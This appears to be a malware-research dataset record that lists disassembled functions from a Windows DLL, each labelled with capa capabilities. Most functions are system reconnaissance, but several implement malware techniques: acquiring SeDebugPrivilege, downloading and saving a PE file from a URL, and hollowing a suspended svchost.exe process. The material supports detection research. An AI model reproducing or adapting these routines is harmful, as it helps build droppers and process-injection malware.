joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006490
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
mov eax, dword [0x10029210]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
xor ecx, ecx
push 0x1fc
push ecx
lea edx, [ebp - 0x202]
push edx
mov dword [ebp - 0x410], eax
mov word [ebp - 0x204], cx
call fcn.10016770
add esp, 0xc
lea eax, [ebp - 0x408]
push eax
push 0xf003f
push 0
push str.SoftwareTencentPluginVAS
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1000662e
push eax
push eax
lea ecx, [ebp - 0x424]
push ecx
lea edx, [ebp - 0x420]
push edx
lea eax, [ebp - 0x41c]
push eax
mov eax, dword [ebp - 0x408]
push 0
lea ecx, [ebp - 0x414]
push ecx
lea edx, [ebp - 0x40c]
push edx
push 0
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
jne 0x10006673
push ebx
mov ebx, dword [ebp - 0x40c]
push edi
mov edi, dword [ebp - 0x414]
inc edi
test ebx, ebx
je 0x1000662c
cmp edi, 1
jbe 0x1000662c
push esi
push 0x1fe
push eax
lea ecx, [ebp - 0x404]
push ecx
call fcn.10016770
add esp, 0xc
xor esi, esi
test ebx, ebx
je 0x1000661e
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
jmp 0x10006580
push 0xff
lea edx, [ebp - 0x404]
push 0
push edx
call fcn.10016770
mov edx, dword [ebp - 0x408]
add esp, 0xc
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x418]
push eax
lea ecx, [ebp - 0x404]
push ecx
push esi
push edx
mov dword [ebp - 0x418], edi
call ebx
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0xc
jge 0x10006611
lea ecx, [ebp - 0x404]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 5
jle 0x10006611
lea edx, [ebp - 0x404]
push edx
lea eax, [ebp - 0x204]
push 0xff
push eax
call fcn.100100ab
push 0x10025420
lea ecx, [ebp - 0x204]
push 0xff
push ecx
call fcn.100100ab
add esp, 0x18
inc esi
cmp esi, dword [ebp - 0x40c]
jb 0x10006580
mov edx, dword [ebp - 0x408]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop edi
pop ebx
lea eax, [ebp - 0x204]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 4
jle 0x10006673
mov edx, dword [ebp - 0x410]
push 0xd6
lea ecx, [ebp - 0x204]
push ecx
push 0xd7
push edx
call fcn.1000fc0e
add esp, 0x10
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000f00a
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
call fcn.1000f00a
mov esp, ebp
pop ebp
ret
Function at 0x10006690
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
push edi
xor edi, edi
push edi
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x10]
push eax
push 0x1002471c
push 1
push edi
push 0x100246fc
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
je 0x100066c4
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push 0
lea edx, [ebp - 4]
push edx
push 0x1002470c
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
jne 0x100066bc
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x14]
push eax
call edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 0x14]
push edx
lea edx, [ebp - 8]
push edx
push 1
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
jne 0x1000677d
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
lea edx, [ebp - 0xc]
push edx
push 0x10022470
push 0
push 0
push eax
mov eax, dword [ecx + 0x24]
call eax
test eax, eax
js 0x10006759
mov eax, dword [ebp - 0xc]
mov ecx, 8
mov word [ebp - 0x28], cx
mov edx, dword [eax]
mov edx, dword [edx + 0xc]
push 0
lea ecx, [ebp - 0x28]
push ecx
push str.FriendlyName
push eax
call edx
test eax, eax
jne 0x1000674e
mov eax, dword [ebp - 0x20]
push eax
inc edi
call esi
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 0x14]
push edx
lea edx, [ebp - 8]
push edx
push 1
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
je 0x10006708
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10006a70
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
mov eax, dword [0x10029210]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x3c
mov edi, ecx
call fcn.1000eff4
add esp, 4
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea eax, [edi + 0xcc8]
push 0x1002514c
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
push esi
call fcn.10006910
push 0x11c
xor ebx, ebx
lea ecx, [ebp - 0x120]
push ebx
push ecx
call fcn.10016770
add esp, 0x1c
lea edx, [ebp - 0x120]
push edx
mov dword [ebp - 0x120], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x10006be6
cmp dword [ebp - 0x110], 2
jne 0x10006be6
cmp dword [ebp - 0x11c], 5
jbe 0x10006be6
lea eax, [ebp - 0x124]
push eax
push 8
mov dword [ebp - 0x124], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x10006be6
mov edx, dword [ebp - 0x124]
lea ecx, [ebp - 0x128]
push ecx
push ebx
push ebx
push 0x19
push edx
mov dword [ebp - 0x128], ebx
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x10006bbb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x10006bbb
mov eax, dword [ebp - 0x128]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x12c], eax
test eax, eax
je 0x10006bbb
mov edx, dword [ebp - 0x128]
lea ecx, [ebp - 0x128]
push ecx
push edx
push eax
mov eax, dword [ebp - 0x124]
push 0x19
push eax
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x10006bae
mov ebx, dword [ebp - 0x12c]
mov ecx, dword [ebx]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
movzx edx, byte [eax]
mov eax, dword [ebx]
dec edx
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthority]
mov ebx, dword [eax]
mov ecx, dword [ebp - 0x12c]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [ebp - 0x124]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0x2000
ja 0x10006bf6
je 0x10006bee
test ebx, ebx
je 0x10006be6
cmp ebx, 0x1000
jne 0x10006c24
push esi
push 0x1002545c
jmp 0x10006c14
push esi
push str.None__s
jmp 0x10006c14
push esi
push 0x10025468
jmp 0x10006c14
cmp ebx, 0x3000
je 0x10006c0e
cmp ebx, 0x4000
jne 0x10006c24
push esi
push 0x10025480
jmp 0x10006c14
push esi
push 0x10025474
add edi, 0xa70
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
test esi, esi
je 0x10006c31
push esi
call fcn.1000fac9
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.1000f00a
mov esp, ebp
pop ebp
ret
Function at 0x10006c50
Capabilities:
Get disk information
Get disk size
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
mov eax, dword [0x10029210]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
xor esi, esi
push edi
mov dword [ebp - 0x60], esi
mov dword [ebp - 0x64], esi
xor edi, edi
lea eax, [esi + 0x42]
mov word [ebp - 0x1c], ax
lea ecx, [ebp - 0x1c]
xor eax, eax
push ecx
mov dword [ebp - 0x1a], 0x5c003a
mov word [ebp - 0x16], ax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
jne 0x10006cd0
lea edx, [ebp - 0x7c]
push edx
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0x84]
push ecx
lea edx, [ebp - 0x1c]
push edx
inc edi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x70]
mov edx, dword [ebp - 0x7c]
shrd eax, ecx, 0x1e
add dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x78]
shrd edx, eax, 0x1e
shr ecx, 0x1e
shr eax, 0x1e
add dword [ebp - 0x64], edx
inc esi
cmp esi, 0x1a
jl 0x10006c73
push 0x40
lea ecx, [ebp - 0x5c]
push 0
push ecx
mov dword [ebp - 0x68], edi
call fcn.10016770
add esp, 0xc
lea edx, [ebp - 0x5c]
push edx
mov dword [ebp - 0x5c], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov esi, dword [ebp - 0x4c]
mov edi, dword [ebp - 0x48]
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x50]
mov edx, dword [ebp - 0x64]
shrd esi, edi, 0x1e
shr edi, 0x1e
add esi, 1
adc edi, 0
shrd eax, ecx, 0x1e
shr ecx, 0x1e
add eax, 1
adc ecx, 0
push ecx
mov ecx, dword [ebp - 0x68]
push eax
mov eax, dword [ebp - 0x60]
push edx
push eax
push ecx
push str.HDD:_d
push 0xc8
push ebx
call fcn.1000f858
push edi
push esi
push ebx
push str._sFree_d_Gb
push 0xc8
push ebx
call fcn.1000f858
mov ecx, dword [ebp - 8]
add esp, 0x38
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000f00a
mov esp, ebp
pop ebp
ret
Function at 0x10006d70
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10026688
push 0x10014360
mov eax, dword fs:[0]
push eax
sub esp, 0x228
mov eax, dword [0x10029210]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov esi, ecx
mov edi, edx
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x230], 1
mov dword [ebp - 0x234], SysReAllocString
mov dword [ebp - 0x228], 0
push 0x208
push 0
lea eax, [ebp - 0x224]
push eax
call fcn.10016770
add esp, 0xc
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x22c]
push ecx
push 0x20019
push 0
push esi
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x10006e12
mov dword [ebp - 0x228], 0xffffffff
jmp 0x10006e8e
mov eax, dword [ebp - 0x230]
test eax, eax
je 0x10006e8e
cmp eax, 2
ja 0x10006e8e
mov dword [ebp - 0x238], 0x208
lea edx, [ebp - 0x238]
push edx
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp - 0x230]
push ecx
push 0
push edi
mov edx, dword [ebp - 0x22c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10006e84
push 0x10025148
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x10006e06
lea ecx, [ebp - 0x224]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [ebp - 0x228], 1
jmp 0x10006e8e
mov dword [ebp - 0x228], 0
mov dword [ebp - 4], 0xfffffffe
call fcn.10006ebc
mov eax, dword [ebp - 0x228]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1000f00a
mov esp, ebp
pop ebp
ret
Function at 0x10007490
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x1000759e
push str.RtlGetNtVersionNumbers
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10007597
push esi
push edi
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0xc]
push edx
lea ecx, [ebp - 0x10]
push ecx
call eax
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp + 8]
and eax, 0xffff
push eax
push edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x10]
push eax
push str._d._d._d
push 0x1e
push ecx
call fcn.1000f858
xor ecx, ecx
mov eax, 0xca
mov dword [ebp - 0x14], eax
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.1000eff4
add esp, 0x1c
mov esi, eax
mov dword [ebp - 0x18], 1
call fcn.10007410
test eax, eax
je 0x10007532
lea eax, [ebp - 4]
push eax
push 0x20119
jmp 0x1000753b
lea ecx, [ebp - 4]
push ecx
push 0x20019
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ecx, dword [ebp - 4]
lea edx, [ebp - 0x14]
push edx
push esi
mov edi, eax
lea eax, [ebp - 0x18]
push eax
push 0
push str.ProductName
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10007582
test edi, edi
jne 0x10007582
mov edx, dword [ebp + 0xc]
push 0x31
push esi
push 0x32
push edx
call fcn.1000fc0e
add esp, 0x10
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
call fcn.1000fac9
add esp, 4
pop edi
pop esi
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10007620
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x10029210]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x18]
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x10007687
lea ecx, [ebp - 0x10]
push ecx
push str.SeDebugPrivilege
push 0
mov dword [ebp - 0x14], 1
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov eax, dword [ebp - 0x18]
push 0
push 0
push 0x10
lea edx, [ebp - 0x14]
push edx
push 0
push eax
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.NtSetInformationProcess
push str.NtDll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
jne 0x100076b3
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000f00a
mov esp, ebp
pop ebp
ret
mov dword [ebp - 0x1c], 1
call sub.KERNEL32.dll_GetCurrentProcessId
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 4
lea edx, [ebp - 0x1c]
push edx
push 0x1d
push eax
call esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
pop esi
call fcn.1000f00a
mov esp, ebp
pop ebp
ret
Function at 0x10007740
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x10029210]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x18]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x1000777a
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000f00a
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x20]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x10007767
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
push 0
push 0
push 0x10
lea ecx, [ebp - 0x14]
push ecx
mov dword [ebp - 0x10], edx
mov edx, dword [ebp - 0x18]
push 0
push edx
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
mov dword [ebp - 0xc], eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ecx, dword [ebp - 4]
neg eax
sbb eax, eax
xor ecx, ebp
inc eax
call fcn.1000f00a
mov esp, ebp
pop ebp
ret
Function at 0x10007c80
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x81c
mov eax, dword [0x10029210]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x80c], eax
xor eax, eax
mov ebx, 1
push str.wininet.dll
mov dword [ebp - 0x810], ecx
mov dword [ebp - 0x814], eax
mov dword [ebp - 0x81c], eax
mov byte [ebp - 0x805], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.InternetOpenW
push esi
call edi
push 0
push 0
push 0
push 0
push str.MSIE_6.0
call eax
mov dword [ebp - 0x818], eax
test eax, eax
jne 0x10007d10
test esi, esi
je 0x10007cfd
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000f00a
mov esp, ebp
pop ebp
ret
push str.InternetOpenUrlW
push esi
call edi
mov edx, dword [ebp - 0x80c]
mov ecx, dword [ebp - 0x818]
push 0
push SysReAllocString
push 0
push 0
push edx
push ecx
call eax
mov dword [ebp - 0x80c], eax
test eax, eax
je 0x10007cf2
mov edx, dword [ebp - 0x810]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x810], eax
cmp eax, 0xffffffff
je 0x10007dff
jmp 0x10007d70
push 0x800
lea eax, [ebp - 0x804]
push 0
push eax
call fcn.10016770
add esp, 0xc
push str.InternetReadFile
push esi
call edi
lea ecx, [ebp - 0x814]
push ecx
mov ecx, dword [ebp - 0x80c]
push 0x800
lea edx, [ebp - 0x804]
push edx
push ecx
call eax
test ebx, ebx
je 0x10007dbc
mov edx, 0x5a4d
cmp word [ebp - 0x804], dx
jne 0x10007deb
mov ecx, dword [ebp - 0x814]
xor ebx, ebx
push ebx
lea eax, [ebp - 0x81c]
push eax
mov eax, dword [ebp - 0x810]
push ecx
lea edx, [ebp - 0x804]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 0x814], ebx
ja 0x10007d70
jmp 0x10007df2
mov byte [ebp - 0x805], 0
mov ecx, dword [ebp - 0x810]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.InternetCloseHandle
push esi
call edi
mov edx, dword [ebp - 0x80c]
mov edi, eax
push edx
call edi
mov eax, dword [ebp - 0x818]
push eax
call edi
test esi, esi
je 0x10007e2e
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 4]
mov al, byte [ebp - 0x805]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000f00a
mov esp, ebp
pop ebp
ret
Function at 0x10007e50
Capabilities:
Allocate or change rwx memory
Check if file exists
Create process on windows
Create process suspended
Get common file path
Get file attributes
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x434
mov eax, dword [0x10029210]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [ebp + 8]
push edi
push 0x44
lea eax, [ebp - 0x434]
push 0
push eax
call fcn.10016770
xor eax, eax
push 0x2cc
push eax
lea ecx, [ebp - 0x3dc]
push ecx
mov dword [ebp - 0x3ec], eax
mov dword [ebp - 0x3e8], eax
mov dword [ebp - 0x3e4], eax
mov dword [ebp - 0x3e0], eax
call fcn.10016770
xor edx, edx
push 0xfe
push edx
lea eax, [ebp - 0x10b]
push eax
mov dword [ebp - 0x434], 0x44
mov dword [ebp - 0x408], 1
mov word [ebp - 0x404], dx
mov byte [ebp - 0x10c], dl
call fcn.10016770
add esp, 0x24
push 0xff
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.WindowsSysWOW64_svchost.exe
lea edx, [ebp - 0x10c]
push edx
push 0x1002566c
mov byte [ebp - 0x109], 0
call fcn.10008720
add esp, 0xc
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10007f42
lea ecx, [ebp - 0x10c]
push str.WindowsSystem32_svchost.exe
push ecx
push 0x1002566c
mov edx, ecx
mov byte [ebp - 0x109], 0
call fcn.10008720
add esp, 0xc
lea edx, [ebp - 0x3ec]
push edx
lea eax, [ebp - 0x434]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x10007f81
xor al, al
pop edi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1000f00a
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 0x3ec]
push 0x40
push 0x3000
push esi
push 0
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x10007f6f
mov eax, dword [ebp - 0x3ec]
push 0
push esi
push ebx
push edi
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10007f6f
mov edx, dword [ebp - 0x3e8]
lea ecx, [ebp - 0x3dc]
push ecx
push edx
mov dword [ebp - 0x3dc], 0x10007
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x10007f6f
mov ecx, dword [ebp - 0x3e8]
lea eax, [ebp - 0x3dc]
push eax
push ecx
mov dword [ebp - 0x324], edi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x10007f6f
mov edx, dword [ebp - 0x3e8]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 8]
pop edi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.1000f00a
mov esp, ebp
pop ebp
ret
Function at 0x100080f0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c4
mov eax, dword [0x10029210]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
push edi
mov edi, edx
mov dword [ebp - 0x4c0], esi
mov dword [ebp - 0x4c4], edi
test esi, esi
je 0x1000824f
test edi, edi
je 0x1000824f
push ebx
lea eax, [ebp - 0x4bc]
push eax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x10008202
xor ebx, ebx
cmp word [ebp - 0x4bc], bx
je 0x10008202
lea esi, [ebp - 0x4bc]
xor edi, edi
jmp 0x10008160
push 0x10025754
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x100081da
push 0x1002575c
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x100081da
mov cx, word [esi]
mov dx, word [ebp + edi - 0x4ba]
mov word [ebp - 0xc], cx
push 0x64
lea ecx, [ebp - 0xd4]
mov word [ebp - 0xa], dx
push ecx
lea edx, [ebp - 0xc]
xor eax, eax
push edx
mov word [ebp - 8], ax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x1000820a
lea eax, [ebp - 0xd4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, dword [ebp - 0x4c0]
mov esi, eax
push esi
lea ecx, [ebp - 0xd4]
push ecx
push edi
call fcn.1000fe47
add esp, 0xc
test eax, eax
je 0x1000821d
add ebx, 4
lea edi, [ebx + ebx]
cmp word [ebp + edi - 0x4bc], 0
lea esi, [ebp + edi - 0x4bc]
jne 0x10008160
mov edi, dword [ebp - 0x4c4]
mov esi, dword [ebp - 0x4c0]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
pop ebx
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000f00a
mov esp, ebp
pop ebp
ret
mov ebx, dword [ebp - 0x4c4]
lea edx, [ebp - 0xc]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [edi + esi*2]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
pop ebx
pop edi
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000f00a
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
xor eax, eax
pop esi
call fcn.1000f00a
mov esp, ebp
pop ebp
ret
Function at 0x1000b990
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10021138
mov eax, dword fs:[0]
push eax
sub esp, 0x250
mov eax, dword [0x10029210]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x1c], 0
mov word [ebp - 0x2c], ax
push eax
push 2
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000ba3d
push 0x200
call fcn.1000f707
push 0x200
mov esi, eax
push 0
push esi
call fcn.10016770
push 0x100259c0
lea ecx, [esi + 2]
push 0xff
push ecx
mov byte [esi], 1
call fcn.1000f876
add esp, 0x1c
cmp dword [ebx + 8], 0
jne 0x1000ba2f
mov ecx, dword [ebx + 4]
mov edx, dword [ecx]
mov eax, dword [edx + 8]
push 0x200
push esi
call eax
push esi
call fcn.1000efff
add esp, 4
jmp 0x1000bae3
push 0x228
lea ecx, [ebp - 0x254]
push 0
push ecx
call fcn.10016770
add esp, 0xc
lea edx, [ebp - 0x258]
push edx
push esi
mov dword [ebp - 0x258], 0x22c
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1000bae3
nop
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0x234]
lea esp, [esp]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x1000baa6
test dx, dx
je 0x1000baa2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x1000baa6
add eax, 4
add ecx, 4
test dx, dx
jne 0x1000ba80
xor eax, eax
jmp 0x1000baab
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1000bac3
lea eax, [ebp - 0x258]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1000ba70
jmp 0x1000bae3
cmp dword [ebx + 8], 0
mov byte [ebp - 0x259], 2
jne 0x1000bae3
mov ecx, dword [ebx + 4]
mov edx, dword [ecx]
mov edx, dword [edx + 8]
push 1
lea eax, [ebp - 0x259]
push eax
call edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000f00a
mov esp, ebp
pop ebp
ret 8